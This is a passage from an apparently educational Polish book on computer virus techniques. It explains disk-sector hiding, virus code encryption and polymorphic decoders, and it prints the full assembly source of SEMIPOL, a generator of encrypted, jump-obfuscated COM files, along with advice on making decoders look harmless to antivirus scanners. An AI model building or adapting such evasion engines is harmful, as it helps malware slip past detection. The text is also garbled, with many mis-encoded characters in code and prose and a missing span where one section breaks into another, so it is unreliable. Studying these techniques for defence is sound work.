atrybut (np. poprzez wykorzystanie omówionych wcześniej tablic SFT). Tak ukryty plik będzie widoczny najczęściej tylko w tzw. edytorach binarnych, operujących na zawartości fizycznych sektorów (np. Disk Editor). Ta sztuczka nie wymaga instalowania w systemie żadnego rezydent-nego kodu, gdyż niewidzialność zagwarantuje sam system DOS. 7.4. Dodatkowe ścieżki na dyskach Ze względu na to, iż wirusy zarażające sektor MBR lub BOOT-sektory są programami zajmującymi zwykle obszar będący wielokrotnością kilku sektorów, twórca wirusa musi podjąć decyzję, gdzie umieścić wirusa po infekcji. Nie mogą to być sektory wybrane na chybił trafił, gdyż ich zamazanie kodem wirusa może zniszczyć dane, ważne dla działania systemu. Większość wirusów dopisuje się na początku dysku, w obszarze pierwszego cylindra (bezpośrednio za tablicą partycji). Tylko nieliczne wirusy potrafią lepiej ukryć swój kod przed programami antywirusowymi. Korzystając z tego, iż większość dysków posiada więcej sektorów niż liczba widziana przez system BIOS, wirusy doformato-wywują sobie dodatkowe używane sektory, po czym je wykorzystują. kodu wirusa. Jedyną wadą tradycyjnego szyfrowania była konieczność pozostawienia nie zakodowanej procedury dekodującej, co w pewnym sensie skazywało wirusa na rychłe wykrycie, gdyż nawet kilkubajtowy kod takiej procedury stanowił w zasadzie sygnaturę wirusa, umożliwiającą jego identyfikację. Aby ominąć tę przeszkodę, zaczęto rozważać możliwość stworzenia generatora procedur dekodu-jących, które różniłyby się rozmieszczeniem i doborem instrukcji, rejestrami roboczymi oraz sposobem deszyfrowania. Przejście od teorii do praktyki stało się możliwe wraz z pojawieniem się MtE, który choć pierwszy, do dziś uznawany jest za generator produkujący jedne z najbardziej zmiennych i wyszukanych (ang. sophisticated) procedur dekodujących. O stopniu skomplikowania wirusa szyfrującego swój kod decydują dwie poniższe procedury: > procedura generująca szyfrator (ang. encryptor); > procedura generująca dekoder (ang. decryptor). W zależności od ich skomplikowania można wyróżnić wirusy, które zawierają: > stały szyfrator + stały dekoder - kod wirusa wraz z dekoderem za każdym razem wygląda identycznie (z dokładnością do kodu wirusa i pominięciem zmiennych zapamiętywanych wewnątrz wirusa); wykrywanie wirusa przebiega identycznie jak w przypadku wirusów nieszyfrowanych; > stały szyfrator + zmienny dekoder - raczej rzadko stosowany; jeżeli ktoś potrafi zastosować zmienny dekoder, zwykle tworzy także zmienną procedurę szyfrującą; > zmienny szyfrator + stały dekoder - kod wirusa za każdym razem wygląda inaczej, dekoder jest zawsze taki sam; wykrycie procedury dekodującej wykrywa również wirusa; > zmienny szyfrator + zmienny dekoder - kod wirusa wraz z dekoderem za każdym razem wygląda inaczej; są to tzw. wirusy polimorficzne ROZDZIAŁ 8 8.1. Procedury szyfrujące kod Do zaszyfrowania wirusa można zastosować dowolną z dostępnych w procesorze, odwracalnych operacji matematycznych lub logicznych, a więc: > dodawanie - operacja ADD; > odejmowanie - operacja SUB; > suma modulo 2 - operacja XOR; > negowanie arytmetyczne - operacja NEG; > negowanie logiczne - operacja NOT; > przesunięcie cykliczne w lewo - operacja ROL; > przesunięcie cykliczne w prawo - operacja ROR. Są to najczęściej wykorzystywane metody szyfrowania, choć nic nie stoi na przeszkodzie, aby wprowadzić inne, np. przestawianie bajtów miejscami, traktowanie licznika lub indeksu jako wartości używanej w wymienionych wyżej operacjach matematycznych i logicznych. To, która operacja (lub operacje) będzie użyta oraz z jakimi parametrami, zależy wyłącznie od inwencji projektującego procedurę. Jeżeli składa się ona za każdym razem z tych samych instrukcji, to jest to stała procedura szyfrująca i będzie dawać za każdym razem taki sam obraz zakodowanego wirusa. Zupełnie inaczej sprawa ma się ze zmienną procedurą szyfrującą, która po wywołaniu wybiera przypadkowo ilość operacji szyfrujących, a następnie w pętli losuje: > rodzaj operacji wykonywanej na argumencie; > argumenty operacji; > rodzaj argumentów (bajt, słowo, podwójne słowo, ewentualnie inne). Wybierane operacje oraz argumenty należy gdzieś zapamiętać (zwykle w tablicy lub na stosie), gdyż w przyszłości będzie je wykorzystywać procedura generująca dekoder. 8.2. Procedury dekodujące Działanie typowego dekodera ogranicza się do wykonania w odwrotnej kolejności operacji wykonywanych przez procedurę szyfrującą, z uwzględnieniem koniecznych zmian operacji, np. ADD-SUB, SUB-ADD. Na przykład, jeżeli procedura szyfrująca wygląda następująco: MOV CX, IleBajtˇw MOV BX,Pocz¦tekDanychDoZakodowania Pŕtla: XOR byte ptr [BX],12h ADD byte ptr [BX],34h NOT byte ptr [BX] INC BX LOOP Pŕtla, to procedura dekodująca powinna wyglądać mniej więcej tak: MOV CX, IleBajtˇw MOV BX,Pocz¦tekDanychDoZakodowania Pŕtla: NOT byte ptr [BX] SUB byte ptr [BX],34h XOR byte ptr [BX],12h INC BX LOOP Pŕtla. W przykładzie tym operacja ADD z procedury szyfrującej przeszła w operację SUB w dekoderze (oczywiście można zastosować także operację ADD z przeciwnym argumentem, tzn. -34h). Niestety, nawet jeżeli kod wirusa jest szyfrowany za każdym razem inaczej, to i tak wszystkie możliwe do wygenerowania procedury dekodera będą zawsze zgodne ze schematem (dla poprzedniego przykładu): MOV CX,IleBajtˇw MOV BX,Pocz¦tekDanychDoZakodowania Pŕtla: DEKODUJ [BX] DEKODUJ [BX] DEKODUJ [BX] INC BX LOOP Pŕtla, co dla nowoczesnych skanerów nie stanowi żadnej przeszkody Aby uzyskać za każdym razem inny, bardziej unikalny dekoder, można zastosować zmienne, polimorficzne procedury dekodujące. 8.2.1. Polimorficzne procedury dekodujące Stworzenie własnego wirusa polimorficznego nie jest zadaniem łatwym, czego pośrednim dowodem jest dość mała ilość oryginalnych wirusów tego typu. Najtrudniejszym elementem jest oczywiście stworzenie samego generatora zmiennych procedur dekodujących. Ze względu na specyfikę zadania, jakie musi on wykonywać (generowanie wykonywalnych sekwencji rozkazów), do jego zaprogramowania niezbędna jest znajomość rozkazów procesorów 80x86 oraz ich maszynowych odpowiedników. Poniżej omówiono dwie metody tworzenia zmiennych procedur szyfrujących. W obu przypadkach założono, iż cały kod wirusa został już zakodowany w sposób omówiony w poprzednich punktach, zaś operacje i ich argumenty są zachowane w jakiejś tablicy. 8.2.1.1. Semi-polimorfizm Aby rozkodować kod wirusa najczęściej stosuje się pętlę podobną do poniższej sekwencji: MOV licznik, IleDanych MOV indeks, Pocz¦tekDanychDoZakodowania Pŕtla: dekoduj_i [indeks] DEKODUJ_2 [indeks] DEKODUJ_N [indeks] ADD indeks, przyrost LOOP Pŕtla Jest to procedura, którą bardzo larwo wykryć, ponieważ w zasadzie jest ona stalą. Chcąc uczynić ją w jakiś sposób zmienną, można zdefiniować pewną ilość podobnych do siebie w działaniu procedur i spośród nich losować tę, która zostanie użyta przy kolejnej generacji wirusa. Niektóre wirusy zawierają od kilku do kilkudziesięciu takich stałych procedur dekodujących, które choć działają tak samo, zbudowane są z różnych rejestrów i instrukcji. Ze względu na ograniczoną ilość takich procedur, które mogą być zawarte w ciele wirusa (zwiększają one przecież długość kodu), ilość różnych możliwych wariantów wirusa jest tak naprawdę bardzo ograniczona. Inny sposób uzyskania pewnej zmienności w procedurze dekodującej polega na stworzeniu bufora wypełnionego przypadkowymi wartościami, w którym umieszcza się kolejne instrukcje procedury dekodującej, a po każdej z nich - rozkaz skoku do następnej instrukcji. Zaprogramowanie generatora takich procedur nie stanowi dużego problemu. Wystarczy znać odpowiednie kody maszynowe kolejnych rozkazów procedury dekodującej i sekwencyjnie umieszczać je w buforze, a bezpośrednio za nimi generować rozkaz skoku o kilka bajtów do przodu, np. rozkazem JMP SHORT NEAR (kod maszynowy 0EB/??) lub JMP NEAR (kod maszynowy E9/??/??). Jedynym problemem, na jaki natknąć się może twórca takiej procedury są offsety, pod które powinien skakać program przy wykonywaniu pętli, gdyż zapisując instrukcje sekwencyjnie napotykamy na konieczność umieszczenia wartości początkowej np. w rejestrze, choć jeszcze jej nie znamy. Aby ominąć tę przeszkodę, najprościej zapamiętać offsety do instrukcji, zarezerwować dla nich miejsce, a następnie w dalszej części kodu (kiedy już są znane), zmodyfikować je pod zapamiętanymi offsetami. W zamieszczonym programie przykładowym za pomocą powyższej metody szyfrowany jest krótki programik, mający za zadanie wyświetlenie komunikatu po jego uruchomieniu. Wynik kilkakrotnego działania procedury zapisywany jest w plikach SEMI????.COM, gdzie ???? jest parametrem podawanym przy starcie programu (w wypadku braku parametru - domyślnie=10). Wygenerowane pliki zawierają tylko jeden stały bajt na początku programu (część rozkazu JMP SHORT o kodzie EB). Poprzez zastąpienie procedury Losowy-Skok (wstawić RET zaraz po etykiecie LosowySkok:) można łatwo zmodyfikować ten program, tak aby generował pliki szyfrowane w standardowy sposób (bez dodawania losowych skoków pomiędzy instrukcjami). ;----------------------------------------------------------------------------; ; ; ; Czesc ksiazki : "Nowoczesne techniki wirusowe i antywirusowe" ; ; ; ; SEMIPOL v1.0, Autor : Adam Blaszczyk 1997 ; ; ; ; Program generuje pliki zakodowane semi-polimorficznie ; ; (pomiedzy wlasciwe instrukcje dekodera sa wstawiane ; ; przypadkowe rozkazy JUMP) ; ; Kompilacja : ; ; TASM /m2 SEMIPOL.ASM ; ; TLINK SEMIPOL.OBJ ; ; ; ;----------------------------------------------------------------------------; SEMI_POL SEGMENT ASSUME CS:SEMI_POL, DS:SEMI_POL, SS:SEMI_POL, ES:SEMI_POL NUL = 00h ; \ TAB = 09h ; \ LF = 0Ah ; \ stale znakowe CR = 0Dh ; / SPACE = 20h ; / DOLAR = '$' ; / RozmiarStosu equ 200h ; rozmiar stosu DomyslnieIlePlikow = 10 ; domyslnie generuj 10 plikow ;----------------------------------------------------------------------------- Start: Call InicjujSystem ; ustaw zmienne programu lea si,TeCopyRight ; wyswietl info o programie Call Druk Call WezParametry ; wez parametry z linii polecen lea si,TeGenerator ; wyswietl info o dzialaniu Call Druk Call GenerowaniePlikow ; generuj pliki mov ax,4C00h ; funkcja DOS - powrot do systemu int 21h ; wywolaj funkcje ;----------------------------------------------------------------------------- GenerowaniePlikow proc near ; procedura generuje pliki SEMI????.COM push ds es ax bx cx dx si di ; zachowaj na stosie zmieniane rejestry mov cx, LiczbaPlikow ; cx=ile plikow do wygenerowania GenJedenPlik: push cx ; zachowaj na stosie : ile plikow lea si,AktualnaNazwaPliku ; \ wyswietl nazwe pliku Call DrukLn ; / lea dx,AktualnaNazwaPliku ; sprobuj otworzyc (tworzony) plik mov ax,3D02h ; funkcja DOS - otworz plik int 21h ; wywolaj funkcje jnc WezUchwyt ; CF=0 plik juz istnial, nadpisz go mov cx,20h ; atrybut pliku tworzonego : Archive lea dx,AktualnaNazwaPliku ; podaj nazwe tworzonego pliku mov ah,5Bh ; funkcja DOS - tworz plik int 21h ; wywolaj funkcje WezUchwyt: mov UchwytPliku,ax ; zapamietaj uchwyt pliku lea si,StartKoduPrzykladowego ; DS:SI - skad brac kod do szyfrowania lea di,BuforDocelowy ; ES:DI - dokad zapisywac zaszyfrowany kod mov cx,RozmiarPrzykladowegoKodu ; CX - rozmiar szyfrowanego kodu Call SemiPol ; CX:=Ile danych do zapisu lea dx,BuforDocelowy ; skad zapisac dane mov bx,UchwytPliku ; numer uchwytu mov ah,40h ; funkcja DOS - zapisz do pliku int 21h ; wywolaj funkcje mov ah,3Eh ; funkcja DOS - zamknij plik int 21h ; wywolaj funkcje Call ZwiekszNumerPliku ; SEMI(xxxx) -> SEMI(xxxx+1) pop cx ; przywroc ze stosu : ile plikow loop GenJedenPlik ; generuj CX plikow pop di si dx cx bx ax es ds ; przywroc ze stosu zmieniane rejestry ret ; powrot z procedury GenerowaniePlikow endp ;----------------------------------------------------------------------------- ZwiekszNumerPliku proc near ; zmienia SEMI(xxxx) na SEMI(xxxx+1) ; operuje na lancuchu 'SEMIxxxx' push cx si ; zachowaj na stosie zmieniane rejestry mov cx,4 ; CX = ile max. obiegow petli = 4 cyfry ZwiekszNumerPlikuPetla: mov si,cx dec si inc byte ptr [AktNumPliku+si] ; zwieksz cyfre od konca w SEMIxxxx cmp byte ptr [AktNumPliku+si],'9' ; czy numer > 9 ? jbe ZwiekszNumerPlikuPowrot ; nie wiekszy = powrot z procedury ; wiekszy = uwzglednij przeniesienie mov byte ptr [AktNumPliku+si],'0' ; cyfra : 9->0 loop ZwiekszNumerPlikuPetla ; ewentualnie powtarzaj ZwiekszNumerPlikuPowrot: pop si cx ; przywroc ze stosu zmieniane rejestry ret ; powrot z procedury ZwiekszNumerPliku endp ;----------------------------------------------------------------------------- WezParametry proc near ; pobiera parametry z PSP:80h push ds ; zachowaj DS mov di,DomyslnieIlePlikow ; DI=ile plikow wygenerowac mov ds,PSP_Segment ; DS:=PSP mov si,80h ; DS:SI=PSP:80 lodsw ; DS:SI=PSP:82, AX:=licznik znakow or al,al ; czy sa jakies znaki w linii polecen ? jz WezParametryPowrot ; nie = wyjdz z procedury SzukajCyfry: lodsb ; wez znak cmp al,SPACE ; \pomin spacje je SzukajCyfry ; / cmp al,TAB ; \pomin tabulator je SzukajCyfry ; / mov bx,si ; zachowaj pozycje w lancuchu SzukajCR: ; szukaj konca ciagu znakow lodsb ; wez znak cmp al,CR ; czy koniec lancucha ? je LancuchNaLiczbe ; tak = konwersja cmp al,SPACE ; czy spacja ? je LancuchNaLiczbe ; tak = konwersja cmp al,TAB ; czy tabulator ? je LancuchNaLiczbe ; tak = konwersja cmp al,'0' ; \ jb WezParametryPowrot ; \ czy znak w zakresie ; - '0'..'9' cmp al,'9' ; / jezeli nie, to blad ja WezParametryPowrot ; / jmp short SzukajCR ; wez kolejny znak LancuchNaLiczbe: ; konwersja lancucha na liczbe mov cx,si ; wez koniec lancucha sub cx,bx ; odejmij poczatek lancucha jcxz WezParametryPowrot ; skocz, gdy nie ma czego konwertowac cmp cx,4 ; czy liczba > 9999 ? ja WezParametryPowrot ; skocz, jesli tak mov bx,1 ; BX zawiera kolejne potegi 10 xor di,di ; DI zawiera aktualna sume LancuchNaLiczbeLoop: ; znaki czytamy od konca dec si ; \ SI:=SI-2 dec si ; / lodsb ; pobierz znak sub al,'0' ; konwertuj na liczbe z zakresu 0..9 mov ah,0 ; AX=AL mul bx ; mnoz przez kolejna potege 10 add di,ax ; dodaj do sumy mov ax,10 ; zwieksz potege 10 mul bx ; pomnoz 10*BX xchg ax,bx ; BX:=10 do kolejnej potegi ; 1,10,100,1000 loop LancuchNaLiczbeLoop ; konwertuj kolene cyfry WezParametryPowrot: ; DI zawiera liczbe plikow pop ds ; przywroc DS ze stosu mov LiczbaPlikow,di ; przepisz do zmiennej ret ; powrot z procedury WezParametry endp ;----------------------------------------------------------------------------- DrukLn proc near ; procedura wyswietla tekst ASCIIZ ; spod adresu CS:SI i dodaje Enter push si ; SI sie zmienia, trzeba zachowac Call Druk ; najpierw wyswietl tekst lea si,TeCRLF ; \ a teraz dodaj CR,LF Call Druk ; / pop si ; przywroc SI ret ; powrot z procedury DrukLn endp ;----------------------------------------------------------------------------- Druk proc near ; procedura wyswietla tekst ASCIIZ ; spod adresu CS:SI push ax ; \ zachowaj zmieniane rejestry push si ; / DrukNastepnyZnak: lods byte ptr cs:[si] ; wez kolejny znak or al,al ; czy znak jest zerem jz DrukPowrot ; tak=koniec napisu, wyjdz z petli Call DrukZnak ; jezeli nie, to wyswietl (znak w AL) jmp short DrukNastepnyZnak ; idz po nastepny znak DrukPowrot: ; tekst wydrukowany pop si ; \ przywroc zmieniane rejestry pop ax ; / ret ; powrot z procedury Druk endp ;----------------------------------------------------------------------------- DrukZnak proc near ; procedura wyswietla znak w AL push ax ; zachowaj zmieniany rejestr mov ah,0Eh ; funkcja BIOS - wyswietl znak w AL int 10h ; wywolaj funkcje pop ax ; przywroc zmieniany rejestr ret ; powrot z procedury DrukZnak endp ;----------------------------------------------------------------------------- InicjujSystem proc near ; ustawia stos, DS, ES itd. pop bp ; zachowaj adres powrotu z procedury ; bo stos zostanie przeniesiony mov CS:PSP_Segment,ds ; zapamietaj PSP mov ax,cs ; \ mov ds,ax ; - CS=DS=ES mov es,ax ; / mov ss,ax ; \ stos na koniec programu lea sp,StosKoniec ; / cld ; DF=1, zwiekszaj przy operacjach lancuchowych jmp bp ; powrot z procedury InicjujSystem endp ;----------------------------------------------------------------------------- SemiPol: push ax si di ; zachowaj na stosie zmieniane rejestry shr cx,1 ; dlugosc/2 bo szyfrujemy slowa inc cx ; dla pewnosci, ze wszystkie bajty zostana ; zaszyfrowane mov Semi_IleDanych,cx ; \ mov Semi_Skad,si ; - zachowaj dane mov Semi_Dokad,di ; / call PseudoLosowa ; wez przypadkowa liczbe mov Semi_Losowa,ax ; bedzie jej uzywac szyfrator i deszyfrator ; szyfruj kod lea di,TMPBufor ; gdzie zapisac szyfrowany kod Szyfruj: lodsw ; wez dana add ax,Semi_Losowa ; szyfruj ja stosw ; zapisz zaszyfrowana dana loop Szyfruj ; powtarzaj szyfrowanie ; wpisz "smieci" do bufora mov di,Semi_Dokad ; bufor docelowy (do zapisu na dysk) mov cx,256 ; CX:=AX:=ile slow zapisac (1..256) Smietnik: ; wypelnianie Call Pseudolosowa ; wez przypadkowa dana stosw ; zapisz ja loop Smietnik ; zapisz "smieci" w buforze ; generuj procedure dekodera ; ; Dekoder ma nastepujaca postac : ; ; mov si,PoczatekDanych BE,???? ; mov cx,IleDanych B9,???? ; Petla: ; sub [si],Losowa 81,2C,???? ; dec cx 49 ; jz Koniec 74,?? ; jmp Petla E9,???? ; Koniec: ; mov di,Semi_Dokad ; bufor docelowy (do zapisu na dysk) call LosowySkok ; wstaw losowy skok mov al,0BEh ; DEKODER: mov si, ofset Poczaek stosb ; BE,???? mov Semi_GdziePocz,di ; ofset bedzie wstawiony pozniej stosw ; zostaw miejsce na ofset call LosowySkok ; wstaw losowy skok mov al,0B9h ; DEKODER: mov cx,IleDanych stosb ; B9,???? mov ax,Semi_IleDanych ; wpisz, ile danych do odszyfrowania stosw ; call LosowySkok ; wstaw losowy skok mov Semi_Petla,di ; DEKODER: sub [si],Losowa mov ax,2C81h ; pierwsza czesc rozkazu stosw mov ax,Semi_Losowa ; zapisz wartosc dekodujaca stosw ; zaszyfrowany program call LosowySkok ; wstaw losowy skok mov al,46h ; DEKODER: inc si stosb call LosowySkok ; wstaw losowy skok mov al,46h ; DEKODER: inc si stosb call LosowySkok ; wstaw losowy skok mov al,49h ; DEKODER: dec cx stosb call LosowySkok ; wstaw losowy skok mov al,74h ; DEKODER: JZ ?? stosb ; wstaw pierwsza czesc rozkazu mov Semi_DokadJZ,di ; zostanie ustawione pozniej stosb ; zostaw miejsce na ofset call LosowySkok ; wstaw losowy skok mov al,0E9h ; DEKODER: JNZ -> JMP z powrotem stosb ; wstaw E9 mov ax,Semi_Petla ; oblicz ofset do DEKODER : Petla: sub ax,di ; sub ax,2 ; odejmij dlugosc operandu w E9,???? stosw ; mov bx,Semi_DokadJZ ; oblicz ofset do DEKODER : Koniec: mov ax,di ; i wstaw go pod wczesniej zapamietany sub ax,bx ; ofset dec ax ; odejmij dlugosc operandu w 74,?? mov [bx],al ; mov bx,Semi_GdziePocz ; oblicz ofset, gdzie zaczynaja mov ax,di ; sie dane przeznaczone do deszyfrowania sub ax,Semi_Dokad ; z uwzglednieneim ofsetu dla add ax,100h ; pliku COM (ORG 100h) mov [bx],ax ; i zapisz pod zapamietany adres mov cx,Semi_IleDanych ; ile danych do kopiowania lea si,TMPBufor ; pobieraj z bufora zawierajacego rep movsw ; zaszyfrowany kod i kopiuj na koniec mov cx,di ; oblicz, ile danych do zapisu, czyli sub cx,Semi_Dokad ; wartosc zwracana przez procedure pop di si ax ; przywroc zapamietane rejestry ret ; powrot z procedury ;----------------------------------------------------------------------------- LosowySkok: ; wstawia losowy skok mov ax,15 ; zakres skokow 1..15 Call PseudolosowaAX ; losuj z zakresu 1..15 mov ah,al ; mov al,0EBh ; AX=skok,EB stosw ; zapisz EB,skok mov al,ah ; mov ah,0 ; AX:=AL=skok add di,ax ; dodaj do di ret ; powrot z procedury Semi_IleDanych dw ? ; \ potrzebne do chwilowego Semi_Skad dw ? ; - zachowania roznych wartosci Semi_Dokad dw ? ; / Semi_Losowa dw ? ; wartosc szyfrujaca kod Semi_GdziePocz dw ? ; \ adresy do zmiennych nieznanych Semi_Petla dw ? ; \ w momencie, kiedy sa potrzebne Semi_DokadJZ dw ? ; / aby mozna bylo je pozniej ; / zmienic PseudoZarodek dw ? ; \ aktualny zarodek generatora liczb ; / pseudolosowych TMPBufor db 256 dup(?) ; \ rozmiar tymczasowego bufora ; - = 256 bajtow, (o rozmiarze co najmniej ; / rownym dlugosci kodu wirusa) ;----------------------------------------------------------------------------- PseudoLosowa: ; generuje liczbe pseudolosowa ; z zakresu 1..65535 mov ax,0FFFFh PseudoLosowaAX: ; przedzial w AX push dx ; zachowaj na chwile DX Call ZmienPseudoZarodek ; zmien zarodek mul PseudoZarodek ; DX:AX:=przedzial*Zarodek xchg ax,dx ; AX:=0..przedzial inc ax ; pomin zero pop dx ; przywroc DX ze stosu ret ZmienPseudoZarodek: ; zmienia PseudoZarodek push ax ; zachowaj stary AX in al,40h ; AL:=przypadkowa wartosc xchg ah,al ; AH:=AL in al,40h ; AX:=przypadkowa wartosc xor ax,0ABCDh ; operacje pomocnicze add ax,1234h ; operacje pomocnicze mov PseudoZarodek,ax ; przepisz nowy zarodek pop ax ; przywroc stary AX ret ; powrot z procedury ;----------------------------------------------------------------------------; ; Programik do zaszyfrowania wyswietlajacy komunikat ; ; przy uzyciu 09/21 ; ;----------------------------------------------------------------------------; RozmiarPrzykladowegoKodu = offset KoniecKoduPrzykladowego- offset StartKoduPrzykladowego StartKoduPrzykladowego: call TrikCALL_POP ; trik do uzyskania relatywnego ofsetu TrikCALL_POP: pop si ; wez relatywny ofset, gdzie kod jest w pamieci mov dx,offset TePrzyklad-Offset StartKoduPrzykladowego-3 add dx,si ; DX:=ofset do tekstu (relatywny) mov ah,9 ; funkcja DOS - wyswietl tekst$ int 21h ; wywolaj funkcje int 20h ; powrot do DOS (program typu COM) TePrzyklad db CR,LF ; tekst do wyswietlenia db '[Program wygenerowany przez SEMIPOL v1.0, Autor: Adam Blaszczyk]' db DOLAR KoniecKoduPrzykladowego: ;----------------------------------------------------------------------------- TeCopyRight db CR,LF,'SEMIPOL v1.0, Autor : Adam Blaszczyk 1997', db CR,LF,NUL TeGenerator db CR,LF,'Czekaj, generuje plik(i) ...',CR,LF,NUL AktualnaNazwaPliku db 'SEMI' AktNumPliku db '0001' db '.COM',NUL TeCRLF db CR,LF,NUL PSP_Segment dw ? UchwytPliku dw ? LiczbaPlikow dw ? BuforDocelowy db 4096 dup(?) StosStart db RozmiarStosu dup(?) StosKoniec: SEMI_POL ENDS END Start 8.2.1.2. Pełny polimorfizm Prawdziwie polimorficzne generatory zmiennych procedur szyfrujących powinny tworzyć przy każdym uruchomieniu całkowicie nową, unikalną procedurę dekodującą. Procedura taka najczęściej zachowuje tylko funkcje poniższej sekwenq'i: LICZNIK:=IleDanych INDEX:=Pocz¦tekZaszyfrowanegoKodu FOR I:=1 to Licznik do begin DEKODUJ_1 DANą [INDEX] DEKODUJ_2 DANA [INDEX] DEKODUJ_N DANA [INDEX] INDEX:=INDEX + PRZYROST ; end; Dla każdej procedury dekodującej generator losuje najczęściej odpowiednio: > indeks; > licznik; > kierunek zwiększania licznika; > kierunek dekodowania; > rodzaj używanych instrukcji (8086, 80286 itd.). Licznik oznacza najczęściej rejestry procesora wybierane z listy (E)AX, (E)BX, (E)CX, (E)DX, (E)BP, (E)SI, (E)DI. Rejestr (E)SP jest z wiadomych względów pomijany. Oczywiście, możliwe jest także użycie rejestrów 8-bitowych (najprościej jako licznika). Litera (E) oznacza, iż możliwe jest wybranie także rejestrów 32 bitowych, jednak należy pamiętać, że użycie ich znacząco komplikuje samą procedurę generującą. Z kolei indeks wybierany jest z listy możliwych sposobów adresowania dla procesorów 80x86. Może to być więc [BX+????], [BP+????], [SI+????], [DI+????], [BP+SI+????], [BP+DI+????], [BX+SI+????] lub [BX+DI+????]. Są to wszystkie możliwości, jakie może zawierać pole MmRejMem w instrukcjach operujących na danych w pamięci. Liczbę różnych indeksów można poszerzyć poprzez użycie sposobów adresowania, które pojawiły się w procesorach 386 i wyższych. Umożliwiają one (poprzez zastosowanie słowa rozkazowego SIB) zastosowanie do adresowania wszystkich użytkowych rejestrów procesora. Kierunek zwiększania licznika określa, czy licznik rośnie aż do wartości maksymalnej, czy też maleje od tej wartości do zera. Kierunek dekodowania określa, od której strony zacznie się dekodo-wanie wirusa po uruchomieniu procedury; czy od początku zaszyfro-wanego kodu, czy też od jego końca. Konsekwencją obranych kierunków będą odpowiednie rozkazy zwiększające lub zmniejszające indeks i licznik. Od kierunków również zależeć będzie instrukcja sprawdzająca warunek zakończenia pętli dekodującej. Stopień skomplikowania samego dekodera wzrośnie, jeżeli pozwolimy na dynamiczne zmiany licznika i indeksu podczas działania programu. Na przykład, jeżeli początkowy licznik ustalimy jako CX, to po kilku wygenerowanych instrukcjach należy za pomocą instrukcji MOV REjl6, CX lub XCHG REJ16, CX wymusić zmianę licznika na inny.Jeśli chcemy skomplikować całą procedurę i uczynić ją polimorficzną, należy między instrukcje stanowiące integralną część dekodera wstawić rozkazy niepotrzebne z punktu widzenia działania programu, lecz niezbędne do zaciemnienia i ukrycia głównej procedury dekodu-jącej (rozkazy te muszą być wybierane losowo). O ile w procedurze semi-polimorficznej do zaciemnienia kodu dekodera służył tylko jeden rozkaz, JMP SHORT, o tyle w przypadku pełnej procedury polimorficznej należy uwzględnić jak największą ilość rozkazów procesora. Instrukcje stanowiące taki wypełniacz muszą spełniać kilka warunków. Najważniejsze Jest to, aby rozkazy te: > nie zamazywały dowolnie nie używanej przez siebie pamięci; > nie zawieszały komputera; > nie powodowały generowania wyjątków; > nie niszczyły zawartości ważnych dla działania programu rejestrów (m.in. CS, SS, SP oraz rejestrów stanowiących indeks i licznik). Część powyższych ograniczeń można ominąć, o ile wykonana operacja zostanie odwrócona, a więc możliwe jest np. zamazanie pamięci, ale tylko pod warunkiem, iż w zniszczone miejsce wpiszemy chwilę później oryginalną, zapamiętaną wcześniej zawartość. Podobnie ma się sprawa ze zmienianiem rejestrów. Jeżeli chcemy np. zmienić rejestr będący licznikiem, możemy jego wartość na chwilę zapisać do innego rejestru lub na stosie, a następnie zmienić go tak, aby po wykonaniu kilku kolejnych instrukcji przywrócić jego oryginalną zawartość. Najprostszy sposób to wstawienie jako wypełniacza instrukcji 1-bajtowych, jednak jest ich tak niewiele w liście rozkazów, iż procedura zawierająca tylko takie instrukcje będzie łatwa do wykrycia. Ponadto zbyt duża ich ilość w programie też nie jest pożądana, gdyż z reguły programy używają instrukcji kilkubajtowych, w związku z czym nadmiar instrukcji 1-bajtowych może wydać się podejrzany (zwłaszcza programowi antywirusowemu). Pamiętać trzeba, iż najlepiej byłoby, gdyby wygenerowana procedura przypominała fragment typowych programów komputerowych, stąd też wskazane jest używanie w generatorze wywoływań przerwań BIOS i funkcji systemu DOS (np. sprawdzanie wersji systemu DOS, sprawdzanie, czy jest jakiś klawisz w buforze klawiatury itp.), które spowodują, iż ewentualnemu programowi antywirusowemu program wyda się typową aplikacją. Innymi, prostymi do wykorzystania instrukcjami są rozkazy operujące na akumulatorze (AX) i na jego młodszej części (AL), gdyż posiadają uproszczone w stosunku do innych rejestrów kody. Również operacje przypisywania rejestrom roboczym jakiejś wartości są bardzo proste do wstawienia (grupa rozkazów MOV REJ/???? o kodach B0/??-B7/?? dla rejestrów AL - BH lub B8/????-BF/???? dla rejestrów AX - DI). Trochę trudniejsza jest symulacja operacji stosowych, rozkazów skoków i wywołań procedur, jednak, jak pokazują istniejące generatory, można je z powodzeniem stosować. Aby procedura dekodująca była jak najbardziej podobna do fragmentu typowego programu, warto stosować instrukcje modyfikujące jakieś komórki w pamięci. Używając ich należy pamiętać, iż zmodyfikowaną wartość należy później bezwzględnie przywrócić (chyba, że mamy pewność, iż jest to dana nieistotna np. w kodzie wirusa). Korzystając z operacji działających w pamięci na argumentach typu word i dword nie wolno zapominać o tym, iż np. przy adresowaniu bazowym lub indeksowym wartości rejestrów (SI, DI, BX, BP) będą najczęściej nie ustalone, stąd może wystąpić sytuacja, w której instrukcja będzie pobierała lub modyfikowała daną z pogranicza dwóch segmentów. Innymi słowy, offset obliczany na podstawie indeksu będzie miał np. wartość 0FFFFh, co przy próbie dostępu do danej word lub dword z miejsca pamięci określonego przez ten offset spowoduje wystąpienie wyjątku (numer 13 - ogólne naruszenie mechanizmów ochrony). Aby uwzględnić w generatorze jak najpełniejszą listę rozkazów, należy zaopatrzyć się w spis instrukcji procesorów 80x86 i ich kodów maszynowych, a następnie przeanalizować każdą z instrukcji pod kątem jej przydatności jako części wypełniacza oraz warunków, w których zadziała ona poprawnie. Dobrym przykładem może być analiza instrukcji LODSB, którą chcielibyśmy zastosować zamiast instrukcji INC SI. Oprócz tego, iż modyfikuje ona rejestr AX (dokładniej AL), pamiętać trzeba, iż jej poprawne działanie zależne jest także od stanu bitu kierunku DF, zawartego w rejestrze znaczników. Używając jej musimy mieć więc pewność, iż wcześniej wystąpiła już instrukcja CLD, która właściwie ustawiła bit DF. Powyższy przykład został dobrany celowo, gdyż pokazuje on, że aby uzyskać dany efekt, nie trzeba wcale używać szablonowych instrukcji, lecz poprzez użycie odpowiednich zamienników (działających tak samo) można uzyskać jeszcze większą zmienność procedury de-kodującej. Innymi przykładami mogą tu być także poniższe operacje zerujące rejestr CX: MOV CX,0 ; najbardziej trywialne zerowanie rejestru CX XOR CX,CX ; operacja XOR na tych samych operandach zeruje je SUB CX,CX ; odejmij CX od CX, w efekcie CX=0 AND CX,0 ; iloczyn logiczny z zerem jest zerem ZerujCX: ; po wykonaniu pŕtli LOOP ZerujCX ; rejestr CX bŕdzie rˇwny O MOV CX,XYZ ; wpisz do 